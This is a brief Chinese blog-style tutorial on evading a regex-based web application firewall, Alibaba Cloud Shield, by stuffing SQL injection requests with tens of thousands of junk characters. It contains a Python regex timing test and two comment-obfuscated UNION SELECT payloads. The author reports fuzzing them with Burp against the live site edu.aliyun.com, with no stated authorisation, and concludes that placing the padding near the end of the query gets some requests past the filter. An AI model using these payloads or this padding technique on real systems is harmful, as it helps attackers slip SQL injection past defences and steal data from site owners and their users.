大量垃圾字符绕过waf(以阿里云盾为例)

前言

现在的waf虽然大部分吹机器学习,但是还是很多基于正则的。因为机器学习的准确率很高百分之九十多,看似很高,实则剩下的百分之几对客户的影响很大,基于正则的准确率几乎百分之百。

正则有一个比较大的缺点就是性能问题,所以可以通过填充大量垃圾字符绕过waf。但语句该如何写,垃圾字符在哪里填充,我进行了一些具体实操的实验。

re耗时实验

以python为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import re
import time
regx = re.compile(r"""union.*select.*from.*""",re.DOTALL)
text = """
union
AAAAAAAAAAA.......(一万个)
select
AAAAAAAAAAA.......(一万个)
from
"""
def test_regx():
start = time.time()
print(re.findall(regx, text))
end = time.time()
print(end - start)
for i in range(0,10):
test_regx()

你会发现每次匹配会需要0.001~0.005秒,如果你把select改成xelect,正则匹配不到,匹配的时间几乎为0。所以如果想要影响性能的话,语句就一定被waf匹配到。

实操

通过上面的实验看到,填充了这么多的字符,影响的效果还是很低,waf(阿里云盾)还是把每个非法请求拦截住。

1
id1=1111/*!union/*§AAAA§*//*bbb*//*cccc*//*ddddddd*/All*//*!select/*!1,2,3,4,5,6,7/*eeeeeee*/*/from/*EEEEEE*/user

打开burp使用上面的payload去测试一下https://edu.aliyun.com/
在§AAAA§填充1万到5万个字符,每次增长500个字符,全部被拦截。

但只需要你换下填充的位置(fuzz §EEEEEE§)有些请求就会被waf放行。

1
id1=1111/*!union/*AAAA*//*bbb*//*cccc*//*ddddddd*/All*//*!select/*!1,2,3,4,5,6,7/*eeeeeee*/*/from/*§EEEEEE§*/user

因为你把大量字符越放到后面,进行匹配的规则越多,匹配时间越长,waf为了不影响性能,就会把你请求放行

总结

正则利用的好,几乎等于sleep延迟操作!